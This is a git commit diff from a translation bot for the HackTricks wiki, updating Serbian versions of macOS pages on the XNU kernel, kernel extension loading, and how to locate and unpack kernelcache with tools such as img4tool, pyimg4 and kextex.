Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-09-25 23:57:32 +00:00
parent 98bd18ab3e
commit 6daacbb356
5 changed files with 452 additions and 418 deletions

View file

@ -1,166 +1,97 @@
# macOS Kernel & Sistemski ekstenzije # macOS Kernel & System Extensions
{% hint style="success" %} {% hint style="success" %}
Naučite i vežbajte AWS hakovanje:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte GCP hakovanje: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
## XNU Kernel ## XNU Kernel
**Srce macOS-a je XNU**, što označava "X is Not Unix". Ovaj kernel je suštinski sastavljen od **Mach mikrokernela** (o kojem će biti reči kasnije), **i** elemenata iz Berkeley Software Distribution (**BSD**). XNU takođe pruža platformu za **kernel drivere putem sistema nazvanog I/O Kit**. XNU kernel je deo Darwin open source projekta, što znači da je **njegov izvorni kod slobodno dostupan**. **Osnova macOS-a je XNU**, što znači "X nije Unix". Ovaj kernel se fundamentalno sastoji od **Mach mikrokerne**la (o čemu će biti reči kasnije), **i** elemenata iz Berkeley Software Distribution (**BSD**). XNU takođe pruža platformu za **kernel drajvere putem sistema nazvanog I/O Kit**. XNU kernel je deo Darwin open source projekta, što znači da je **njegov izvorni kod slobodno dostupan**.
Sa stanovišta istraživača bezbednosti ili Unix programera, **macOS** može delovati prilično **slično** FreeBSD sistemu sa elegantnim grafičkim korisničkim interfejsom i nizom prilagođenih aplikacija. Većina aplikacija razvijenih za BSD će se kompajlirati i pokrenuti na macOS-u bez potrebe za modifikacijama, jer su alati komandne linije poznati Unix korisnicima prisutni u macOS-u. Međutim, zbog toga što XNU kernel inkorporira Mach, postoje značajne razlike između tradicionalnog Unix-sličnog sistema i macOS-a, a ove razlike mogu izazvati potencijalne probleme ili pružiti jedinstvene prednosti. Iz perspektive istraživača bezbednosti ili Unix programera, **macOS** može delovati prilično **slično** **FreeBSD** sistemu sa elegantnim GUI-jem i mnoštvom prilagođenih aplikacija. Većina aplikacija razvijenih za BSD će se kompajlirati i raditi na macOS-u bez potrebe za modifikacijama, jer su svi komandno-linijski alati poznati korisnicima Unixa prisutni u macOS-u. Međutim, pošto XNU kernel uključuje Mach, postoje neke značajne razlike između tradicionalnog Unix-sličnog sistema i macOS-a, a te razlike mogu izazvati potencijalne probleme ili pružiti jedinstvene prednosti.
Izvorni kod XNU-a: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) Open source verzija XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach ### Mach
Mach je **mikrokernel** dizajniran da bude **kompatibilan sa UNIX-om**. Jedan od njegovih ključnih dizajnerskih principa bio je da **minimalizuje** količinu **koda** koji se izvršava u **kernel** prostoru i umesto toga omogući mnogim tipičnim funkcijama kernela, poput sistema za datoteke, mreženja i I/O, da se **izvršavaju kao zadaci na nivou korisnika**. Mach je **mikrokerne**l dizajniran da bude **UNIX-kompatibilan**. Jedno od njegovih ključnih dizajnerskih načela bilo je da **minimizuje** količinu **koda** koji se izvršava u **kernel** prostoru i umesto toga dozvoli mnogim tipičnim kernel funkcijama, kao što su sistem datoteka, umrežavanje i I/O, da **rade kao korisnički zadaci**.
U XNU-u, Mach je **odgovoran za mnoge kritične operacije na niskom nivou** koje kernel obično obavlja, poput raspoređivanja procesora, multitaskinga i upravljanja virtuelnom memorijom. U XNU, Mach je **odgovoran za mnoge kritične niskonivo operacije** koje kernel obično obrađuje, kao što su planiranje procesora, multitasking i upravljanje virtuelnom memorijom.
### BSD ### BSD
XNU **kernel** takođe **inkorporira** značajnu količinu koda koji potiče iz projekta **FreeBSD**. Ovaj kod **se izvršava kao deo kernela zajedno sa Mach-om**, u istom adresnom prostoru. Međutim, FreeBSD kod unutar XNU-a može biti značajno različit od originalnog FreeBSD koda jer su bile potrebne modifikacije kako bi se osigurala njegova kompatibilnost sa Mach-om. FreeBSD doprinosi mnogim operacijama kernela uključujući: XNU **kernel** takođe **uključuje** značajnu količinu koda izvedenog iz **FreeBSD** projekta. Ovaj kod **radi kao deo kernela zajedno sa Mach-om**, u istom adresnom prostoru. Međutim, FreeBSD kod unutar XNU može se značajno razlikovati od originalnog FreeBSD koda jer su modifikacije bile potrebne da bi se osigurala njegova kompatibilnost sa Mach-om. FreeBSD doprinosi mnogim kernel operacijama uključujući:
* Upravljanje procesima * Upravljanje procesima
* Obrada signala * Obrada signala
* Osnovni mehanizmi bezbednosti, uključujući upravljanje korisnicima i grupama * Osnovni bezbednosni mehanizmi, uključujući upravljanje korisnicima i grupama
* Infrastruktura sistemskih poziva * Infrastruktura sistemskih poziva
* TCP/IP stek i soketi * TCP/IP stek i soketi
* Firewall i filtriranje paketa * Firewall i filtriranje paketa
Razumevanje interakcije između BSD-a i Mach-a može biti kompleksno, zbog njihovih različitih konceptualnih okvira. Na primer, BSD koristi procese kao svoje osnovne izvršne jedinice, dok Mach operiše na osnovu niti. Ova razlika je usklađena u XNU-u tako što se **svaki BSD proces povezuje sa Mach zadatkom** koji sadrži tačno jednu Mach nit. Kada se koristi BSD-ov fork() sistemski poziv, BSD kod unutar kernela koristi Mach funkcije za kreiranje strukture zadatka i niti. Razumevanje interakcije između BSD-a i Mach-a može biti složeno, zbog njihovih različitih konceptualnih okvira. Na primer, BSD koristi procese kao svoju osnovnu izvršnu jedinicu, dok Mach funkcioniše na osnovu niti. Ova razlika se pomiruje u XNU tako što se **svakom BSD procesu pridružuje Mach zadatak** koji sadrži tačno jednu Mach nit. Kada se koristi BSD-ov fork() sistemski poziv, BSD kod unutar kernela koristi Mach funkcije za kreiranje zadatka i strukture niti.
Štaviše, **Mach i BSD održavaju različite modele bezbednosti**: **Mach-ov** model bezbednosti se zasniva na **pravima porta**, dok BSD-ov model bezbednosti funkcioniše na osnovu **vlasništva procesa**. Dispariteti između ova dva modela ponekad su rezultirali ranjivostima lokalnog eskaliranja privilegija. Osim tipičnih sistemskih poziva, postoje i **Mach zamke koje omogućavaju programima na nivou korisnika da interaguju sa kernelom**. Ovi različiti elementi zajedno čine složenu, hibridnu arhitekturu macOS kernela. Štaviše, **Mach i BSD svaki održavaju različite bezbednosne modele**: **Mach-ov** bezbednosni model se zasniva na **pravima portova**, dok BSD-ov bezbednosni model funkcioniše na osnovu **vlasništva procesa**. Razlike između ova dva modela su povremeno rezultirale lokalnim ranjivostima za eskalaciju privilegija. Pored tipičnih sistemskih poziva, postoje i **Mach zamke koje omogućavaju programima u korisničkom prostoru da komuniciraju sa kernelom**. Ovi različiti elementi zajedno čine složenu, hibridnu arhitekturu macOS kernela.
### I/O Kit - Drajveri ### I/O Kit - Drajveri
I/O Kit je open-source, objektno orijentisani **framework za drajvere uređaja** u XNU kernelu, koji rukuje **dinamički učitanim drajverima uređaja**. Omogućava dodavanje modularnog koda u kernel "on-the-fly", podržavajući različit hardver. I/O Kit je open-source, objektno-orijentisani **okvir za drajvere uređaja** u XNU kernelu, koji upravlja **dinamički učitanim drajverima uređaja**. Omogućava dodavanje modularnog koda u kernel u hodu, podržavajući raznovrsni hardver.
{% content-ref url="macos-iokit.md" %} {% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md) [macos-iokit.md](macos-iokit.md)
{% endcontent-ref %} {% endcontent-ref %}
### IPC - Međuprocesna komunikacija ### IPC - Inter Process Communication
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %} {% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/) [macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
{% endcontent-ref %} {% endcontent-ref %}
### Kernelcache ## macOS Kernel Extensions
**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa bitnim drajverima uređaja i kernel ekstenzijama. Čuva se u **kompresovanom** formatu i dekompresuje u memoriju tokom procesa pokretanja. Kernelcache omogućava **brže vreme pokretanja** imajući spremnu verziju kernela i ključnih drajvera, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i povezivanje ovih komponenti tokom pokretanja. macOS je **super restriktivan za učitavanje Kernel Extensions** (.kext) zbog visokih privilegija sa kojima će kod raditi. U stvari, po defaultu je praktično nemoguće (osim ako se ne pronađe zaobilaženje).
Na iOS-u se nalazi u **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, a na macOS-u ga možete pronaći sa **`find / -name kernelcache 2>/dev/null`** ili **`mdfind kernelcache | grep kernelcache`** Na sledećoj stranici možete takođe videti kako da povratite `.kext` koji macOS učitava unutar svog **kernelcache**:
Moguće je pokrenuti **`kextstat`** da proverite učitane kernel ekstenzije.
#### IMG4
IMG4 format datoteke je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i proveru firmware** komponenti (poput **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje obuhvataju različite delove podataka uključujući stvarni payload (kao što je kernel ili bootloader), potpis, i skup manifestnih svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
Obično je sastavljen od sledećih komponenti:
* **Payload (IM4P)**:
* Često kompresovan (LZFSE4, LZSS, …)
* Opciono enkriptovan
* **Manifest (IM4M)**:
* Sadrži potpis
* Dodatni rečnik Ključ/Vrednost
* **Informacije o obnovi (IM4R)**:
* Takođe poznato kao APNonce
* Sprječava ponovno izvođenje nekih ažuriranja
* OPCIONALNO: Obično se ovo ne nalazi
Dekompresujte Kernelcache:
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Simboli kernel keša
Ponekad Apple objavljuje **kernel keš** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Ovo su Apple **firmveri** koje možete preuzeti sa [**https://ipsw.me/**](https://ipsw.me/). Pored ostalih datoteka, sadržaće **kernel keš**.\
Da biste **izvukli** datoteke, jednostavno ih **raspakujte**.
Nakon izdvajanja firmvera dobićete datoteku poput: **`kernelcache.release.iphone14`**. U **IMG4** formatu, možete izvući zanimljive informacije pomoću:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Možete proveriti izvučeni kernelcache za simbole pomoću: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Sada možemo **izvući sve ekstenzije** ili **onu koja vas zanima:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOS Kernel ekstenzije
macOS je **izuzetno restriktivan kada je u pitanju učitavanje Kernel ekstenzija** (.kext) zbog visokih privilegija pod kojima će se kod izvršavati. Zapravo, podrazumevano je praktično nemoguće (osim ako se ne pronađe zaobilaznica).
{% content-ref url="macos-kernel-extensions.md" %} {% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md) [macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %} {% endcontent-ref %}
### macOS Sistem ekstenzije ### macOS System Extensions
Umesto korišćenja Kernel ekstenzija, macOS je kreirao Sistem ekstenzije, koje pružaju API-je na nivou korisnika za interakciju sa kernelom. Na ovaj način, programeri mogu izbeći korišćenje kernel ekstenzija. Umesto korišćenja Kernel Extensions, macOS je stvorio System Extensions, koje nude API-je na korisničkom nivou za interakciju sa kernelom. Na ovaj način, programeri mogu da izbegnu korišćenje kernel ekstenzija.
{% content-ref url="macos-system-extensions.md" %} {% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md) [macos-system-extensions.md](macos-system-extensions.md)
{% endcontent-ref %} {% endcontent-ref %}
## Reference ## References
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte hakovanje AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Kernel Extensions # macOS Kernel Extensions
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,11 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Osnovne informacije ## Basic Information
Kernel ekstenzije (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **učitavaju direktno u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu. Kernel extensions (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **učitavaju direktno u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu.
### Zahtevi ### Requirements
Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju**. Ovo su **zahtevi** koje kernel ekstenzija mora ispuniti da bi bila učitana: Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju**. Ovo su **zahtevi** koje kernel ekstenzija mora ispuniti da bi bila učitana:
@ -33,11 +33,11 @@ Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu). * Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu).
* Na kraju, kada se pokuša učitati, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, ako bude prihvaćen, računar mora biti **ponovo pokrenut** da bi se učitao. * Na kraju, kada se pokuša učitati, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, ako bude prihvaćen, računar mora biti **ponovo pokrenut** da bi se učitao.
### Proces učitavanja ### Loading process
U Catalina je to bilo ovako: Zanimljivo je napomenuti da se **proceso verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` U Catalini je to izgledalo ovako: Zanimljivo je napomenuti da se **proceso verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **pokreće** **proces verifikacije** za učitavanje ekstenzije 1. **`kextutil`** cli **pokreće** **proceso verifikacije** za učitavanje ekstenzije
* Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**. * Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**.
2. **`kextd`** će proveriti nekoliko stvari, kao što su **potpis** 2. **`kextd`** će proveriti nekoliko stvari, kao što su **potpis**
* Razgovaraće sa **`syspolicyd`** da bi **proverio** da li se ekstenzija može **učitati**. * Razgovaraće sa **`syspolicyd`** da bi **proverio** da li se ekstenzija može **učitati**.
@ -47,22 +47,119 @@ U Catalina je to bilo ovako: Zanimljivo je napomenuti da se **proceso verifikaci
Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere. Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere.
## Reference ### Enumeration (loaded kexts)
```bash
# Get loaded kernel extensions
kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
{% hint style="danger" %}
Iako se očekuje da su kernel ekstenzije u `/System/Library/Extensions/`, ako odete u ovu fasciklu **nećete pronaći nijedan binarni** fajl. To je zbog **kernelcache** i da biste obrnuli jedan `.kext` potrebno je da pronađete način da ga dobijete.
{% endhint %}
**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa osnovnim uređajskim **drajverima** i **kernel ekstenzijama**. Čuva se u **kompresovanom** formatu i dekompresuje se u memoriju tokom procesa pokretanja. Kernelcache omogućava **brže vreme pokretanja** tako što ima spremnu verziju kernela i ključnih drajvera, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i povezivanje ovih komponenti prilikom pokretanja.
### Lokalni Kernelcache
U iOS-u se nalazi u **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, u macOS-u ga možete pronaći sa: **`find / -name "kernelcache" 2>/dev/null`** \
U mom slučaju u macOS-u pronašao sam ga u:
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
IMG4 format fajla je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i verifikaciju firmware** komponenti (kao što je **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje obuhvataju različite delove podataka uključujući stvarni payload (kao što je kernel ili bootloader), potpis i skup manifest svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
Obično se sastoji od sledećih komponenti:
* **Payload (IM4P)**:
* Često kompresovan (LZFSE4, LZSS, …)
* Opcionalno enkriptovan
* **Manifest (IM4M)**:
* Sadrži potpis
* Dodatni ključ/vrednost rečnik
* **Restore Info (IM4R)**:
* Takođe poznat kao APNonce
* Sprečava ponavljanje nekih ažuriranja
* OPCIONALNO: Obično se ovo ne nalazi
Dekomprimujte Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Preuzimanje&#x20;
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
Na [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) je moguće pronaći sve kernel debug kitove. Možete ga preuzeti, montirati, otvoriti pomoću alata [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), pristupiti **`.kext`** folderu i **izvući ga**.
Proverite ga za simbole sa:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Ponekad Apple objavljuje **kernelcache** sa **simbolima**. Možete preuzeti neke firmvere sa simbolima prateći linkove na tim stranicama. Firmveri će sadržati **kernelcache** među ostalim datotekama.
Da **izvucite** datoteke, počnite tako što ćete promeniti ekstenziju sa `.ipsw` na `.zip` i **raspakovati** je.
Nakon vađenja firmvera dobićete datoteku poput: **`kernelcache.release.iphone14`**. U **IMG4** formatu, možete izvući zanimljive informacije sa:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Inspecting kernelcache
Proverite da li kernelcache ima simbole sa
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
Sa ovim možemo sada **izvući sve ekstenzije** ili **onu koja vas zanima:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Referencije
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) * [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) * [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,275 +1,272 @@
# Uvod u ARM64v8 # Увод у ARM64v8
{% hint style="success" %} {% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Учите и практикујте AWS хаковање:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Учите и практикујте GCP хаковање: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Подржите HackTricks</summary>
